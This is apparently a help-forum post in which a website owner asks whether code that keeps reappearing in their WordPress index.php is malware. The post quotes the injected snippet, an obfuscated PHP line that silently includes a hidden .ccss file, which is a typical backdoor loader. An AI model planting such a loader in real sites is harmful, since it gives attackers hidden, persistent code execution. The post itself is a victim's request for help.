Is this malware?

Hi there,

I have an issue on one of my websites, recently the following code keeps getting injected into my index.php

/a617b/

$r7yw = “/usr/www/users/karb\x6dd\x6d/\x6dailers/2016/invite/.253e6298.ccss”; strpos($r7yw, ‘dw’); @include_once /* edzp */ ($r7yw);

/a617b/

As you can see it references a .ccss file, for the past 4 days I have been deleting these files but everyday they keep popping up, I have replaced WordPress core files each time but the next morning its back.

Does someone know why this is happening and how to deal with it.